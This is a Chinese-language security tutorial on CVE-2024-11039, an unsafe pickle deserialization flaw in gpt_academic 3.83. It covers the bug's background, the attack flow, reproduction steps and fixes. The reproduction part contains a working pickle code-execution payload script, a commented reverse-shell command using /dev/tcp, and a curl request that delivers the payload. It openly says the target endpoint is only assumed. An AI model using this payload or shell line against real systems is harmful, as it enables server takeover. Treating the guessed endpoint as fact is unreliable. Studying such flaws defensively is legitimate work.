CVE-2024-11039:gpt_academic 项目反序列化漏洞分析与复现教学
文档版本: 1.0
发布日期: 2024-11-04(基于漏洞分析文章发布日期)
目标读者: 安全研究人员、渗透测试人员、软件开发工程师
一、 漏洞概述
- 漏洞编号: CVE-2024-11039
- 漏洞名称: gpt_academic 项目不安全反序列化漏洞
- 影响组件:
gpt_academic开源项目,版本 3.83 - 漏洞类型: 反序列化漏洞
- 危害等级: 高危
- 最终危害: 远程代码执行
- CVSS 评分: 待官方评定(但根据危害,预计在 9.0 以上)
二、 受影响环境
- 软件名称: gpt_academic
- 项目地址: GitHub 上的
binary-husky/gpt_academic项目(或类似仓库) - 受影响版本: 3.83 版本
- 不受影响版本: 3.83 之后已修复的版本(具体版本号需参考官方修复记录)
三、 漏洞背景知识
1. 什么是 gpt_academic?
gpt_academic 是一个开源项目,旨在为 GPT、GLM 等大型语言模型提供实用化的交互接口。它特别优化了学术工作流,如论文阅读、润色和写作等体验,深受研究人员和学生欢迎。
2. 什么是反序列化漏洞?
- 序列化: 将程序中的对象(Object)状态转换为可以存储或传输的格式(如字节流、JSON、XML)的过程。
- 反序列化: 将序列化后的数据恢复为对象的过程。
- 漏洞成因: 当应用程序对用户可控的、恶意的序列化数据(例如 Python 的
pickle格式)进行反序列化时,如果未经过严格的安全检查,攻击者可以构造特定的数据,在反序列化过程中触发执行任意代码。
3. Python pickle 模块的危险性
Python 的 pickle 模块是实现序列化的常用工具,但其设计初衷并非安全。pickle 在反序列化时会自动寻找并执行序列化数据中指定的类及其 __reduce__ 方法。攻击者可以精心构造一个包含恶意指令的 __reduce__ 方法的类,序列化后发送给目标,当目标使用 pickle.loads() 反序列化该数据时,恶意代码就会被执行。
四、 漏洞详细分析
1. 漏洞位置
根据文章描述,漏洞出现在 gpt_academic 项目的某个功能模块中,该模块接收用户输入并进行反序列化操作。具体代码路径可能在处理插件配置、会话数据或缓存数据的部分。
2. 漏洞成因
在 3.83 版本中,开发者对用户提交的序列化数据过滤不严。具体表现为:
- 直接使用了
pickle.loads()或类似的不安全反序列化函数。 - 对反序列化操作的输入源(如网络请求、文件上传、Cookie 等)没有进行有效的验证、签名或加密,导致攻击者可以注入恶意的序列化载荷(Payload)。
3. 攻击流程
- 信息收集: 攻击者识别目标系统运行的是存在漏洞的 gpt_academic v3.83。
- 构造载荷: 攻击者使用 Python 编写一个包含恶意命令(如反弹 Shell、下载执行木马等)的类,并将其序列化为
pickle格式。 - 发送载荷: 攻击者通过 HTTP 请求(例如 POST 或 GET 请求)将恶意序列化数据发送到目标服务器的漏洞触发点。
- 触发漏洞: 服务器端应用程序接收到数据后,未经验证便直接进行反序列化。
- 代码执行: 在反序列化过程中,恶意的
__reduce__方法被自动调用,导致攻击者预设的任意命令在服务器上以 Web 服务权限执行。
五、 漏洞复现(仅供教学研究使用)
环境准备:
- 攻击机:Kali Linux 或任意安装 Python 的机器。
- 靶机:安装有 gpt_academic v3.83 的 Ubuntu/CentOS 服务器。
复现步骤:
步骤 1:确认漏洞点
假设漏洞触发点是一个接收 data 参数的 API 接口,例如 http://<target_ip>:port/update_config。
步骤 2:构造恶意 Pickle 载荷
在攻击机上,创建一个名为 exploit.py 的 Python 脚本,用于生成载荷。
import pickle
import base64
import os
class RCE:
def __reduce__(self):
# 恶意命令:在目标服务器上创建一个名为 pwn_success.txt 的文件作为证明
# 实际攻击中可替换为任何命令,如:'/bin/bash -i >& /dev/tcp/your_ip/your_port 0>&1'
cmd = 'touch /tmp/pwn_success.txt'
return os.system, (cmd,)
if __name__ == '__main__':
# 生成恶意的序列化对象
malicious_object = RCE()
# 将其序列化为 pickle 格式
malicious_pickle = pickle.dumps(malicious_object)
# 进行 Base64 编码,便于在 HTTP 请求中传输
encoded_payload = base64.b64encode(malicious_pickle).decode()
print("恶意 Payload (Base64):")
print(encoded_payload)
运行此脚本:python3 exploit.py,控制台会输出一串 Base64 编码的字符串。
步骤 3:发送攻击载荷
使用 curl 或其他工具(如 Burp Suite)向目标发送请求。
curl -X POST http://<target_ip>:<port>/update_config \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "data=<这里替换为步骤2中生成的Base64字符串>"
步骤 4:验证攻击结果
登录到靶机,检查 /tmp 目录下是否生成了 pwn_success.txt 文件。
ls -la /tmp/pwn_success.txt
如果文件存在,则证明漏洞复现成功,任意命令执行已被实现。
六、 修复建议
-
官方修复方案:
- 升级版本: 立即将 gpt_academic 项目升级到官方已修复的最新版本。
- 代码审查: 检查官方修复 commit,通常是移除了不安全的
pickle.loads(),替换为更安全的序列化方案(如json)。
-
临时缓解措施(如果无法立即升级):
- 避免反序列化不可信数据: 从根本上避免对用户输入进行反序列化。
- 使用安全替代方案: 如果必须序列化/反序列化,使用 JSON 等仅处理数据而不执行代码的格式。
- 实施严格输入验证: 如果万不得已必须使用
pickle,应对序列化数据进行数字签名(如 HMAC),确保数据在传输过程中未被篡改,且来源可信。 - 沙箱环境: 在受限的沙箱环境中执行反序列化操作,以限制潜在破坏。
七、 总结与思考
CVE-2024-11039 是一个典型的不安全反序列化案例,它再次警示开发者:
- 永远不要反序列化不可信的数据。 这是安全领域的黄金法则之一。
pickle模块仅适用于可信环境。 在处理来自客户端、网络或任何外部来源的数据时,应坚决避免使用它。- 依赖项安全至关重要。 即使是优秀的开源项目也可能存在严重漏洞,需要持续关注其安全更新。
通过本教学文档,您应该能够深刻理解该漏洞的原理、危害及利用方式,并掌握如何在自己的项目中避免此类安全问题。
免责声明: 本文档仅用于安全教学和研究目的。请勿将文中所述技术用于任何非法活动。安全测试应在自己拥有或获得明确授权的环境中进行。